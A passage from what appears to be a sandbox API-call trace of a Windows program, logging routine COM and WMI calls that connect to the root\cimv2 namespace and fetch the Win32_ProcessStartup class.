pszText="Win32_ProcessStartup") returned 0x0 [0130.652] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0bf10, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0130.652] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bf10, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0130.652] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0bf10, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0130.652] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bf10, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0130.652] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0130.652] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0130.652] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.652] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0130.652] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0130.653] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0130.653] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.655] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bbb3ad0) returned 0x0 [0130.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbb3ad0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0130.655] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbb3ad0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1aa0bfd0) returned 0x0 [0130.655] WbemDefPath:IUnknown:Release (This=0x1bbb3ad0) returned 0x0 [0130.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1aa0bfd0) returned 0x0 [0130.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0130.655] WbemDefPath:IUnknown:AddRef (This=0x1aa0bfd0) returned 0x3 [0130.656] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0130.656] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0130.656] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bbb3b10) returned 0x0 [0130.656] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbb3b10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.656] WbemDefPath:IUnknown:Release (This=0x1bbb3b10) returned 0x3 [0130.656] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0130.656] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0130.656] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0130.656] WbemDefPath:IUnknown:Release (This=0x1aa0bfd0) returned 0x2 [0130.656] WbemDefPath:IUnknown:Release (This=0x1aa0bfd0) returned 0x1 [0130.656] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0130.656] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0130.656] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1aa0bfd0) returned 0x0 [0130.656] WbemDefPath:IUnknown:AddRef (This=0x1aa0bfd0) returned 0x3 [0130.656] WbemDefPath:IUnknown:Release (This=0x1aa0bfd0) returned 0x2 [0130.656] WbemDefPath:IWbemPath:SetText (This=0x1aa0bfd0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0130.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bfd0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0130.656] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bfd0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0130.656] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bfd0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.656] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0130.657] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0130.657] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0130.657] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.658] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bbb3c10) returned 0x0 [0130.658] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3c10, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0130.658] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbb3c10, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bbb3c30) returned 0x0 [0130.658] WbemLocator:IUnknown:Release (This=0x1bbb3c10) returned 0x0 [0130.658] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3c30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bbb3c30) returned 0x0 [0130.658] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3c30, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0130.658] WbemLocator:IUnknown:AddRef (This=0x1bbb3c30) returned 0x3 [0130.659] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3c30, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0130.659] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3c30, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0130.659] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3c30, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0130.659] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0130.659] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0130.659] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3c30, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0130.659] WbemLocator:IUnknown:Release (This=0x1bbb3c30) returned 0x2 [0130.659] WbemLocator:IUnknown:Release (This=0x1bbb3c30) returned 0x1 [0130.659] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0130.659] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0130.659] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3c30, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bbb3c30) returned 0x0 [0130.659] WbemLocator:IUnknown:AddRef (This=0x1bbb3c30) returned 0x3 [0130.659] WbemLocator:IUnknown:Release (This=0x1bbb3c30) returned 0x2 [0130.659] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bfd0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0130.659] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bfd0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0130.659] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bfd0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.659] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bbb3c50) returned 0x0 [0130.659] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbb3c50, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bbaaba0) returned 0x0 [0130.913] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaaba0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1aa02da0) returned 0x0 [0130.913] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa02da0, pProxy=0x1bbaaba0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0130.913] WbemLocator:IUnknown:Release (This=0x1aa02da0) returned 0x1 [0130.913] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaaba0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1aa02de0) returned 0x0 [0130.913] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaaba0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1aa02da0) returned 0x0 [0130.914] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa02da0, pProxy=0x1bbaaba0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0130.914] WbemLocator:IUnknown:Release (This=0x1aa02da0) returned 0x2 [0130.914] WbemLocator:IUnknown:Release (This=0x1aa02de0) returned 0x1 [0130.914] CoTaskMemFree (pv=0x1bba6300) [0130.914] WbemLocator:IUnknown:AddRef (This=0x1bbaaba0) returned 0x2 [0130.914] WbemLocator:IUnknown:Release (This=0x1bbb3c50) returned 0x0 [0130.915] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0130.915] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0130.915] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaaba0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1aa02db0) returned 0x0 [0130.915] WbemLocator:IRpcOptions:Query (in: This=0x1aa02db0, pPrx=0x1bbb3cb0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0130.915] WbemLocator:IUnknown:Release (This=0x1aa02db0) returned 0x2 [0130.915] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0130.915] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0130.915] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaaba0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bbaaba0) returned 0x0 [0130.916] WbemLocator:IUnknown:Release (This=0x1bbaaba0) returned 0x2 [0130.916] SysStringLen (param_1=0x0) returned 0x0 [0130.916] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0130.916] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bf10, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0130.916] IWbemServices:GetObject (in: This=0x1bbaaba0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bb93760, ppCallResult=0x0) returned 0x0 [0130.918] IWbemClassObject:Get (in: This=0x1bb93760, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0130.918] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0130.918] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0130.918] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0130.919] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0130.919] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0130.919] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.922] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bbb3c50) returned 0x0 [0130.922] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbb3c50, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0130.922] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbb3c50, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1aa0c090) returned 0x0 [0130.922] WbemDefPath:IUnknown:Release (This=0x1bbb3c50) returned 0x0 [0130.922] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1aa0c090) returned 0x0 [0130.922] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0130.923] WbemDefPath:IUnknown:AddRef (This=0x1aa0c090) returned 0x3 [0130.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0130.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0130.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bbb3c70) returned 0x0 [0130.923] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbb3c70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.923] WbemDefPath:IUnknown:Release (This=0x1bbb3c70) returned 0x3 [0130.923] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0130.923] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0130.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0130.923] WbemDefPath:IUnknown:Release (This=0x1aa0c090) returned 0x2 [0130.923] WbemDefPath:IUnknown:Release (This=0x1aa0c090) returned 0x1 [0130.923] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0130.923] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0130.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1aa0c090) returned 0x0 [0130.923] 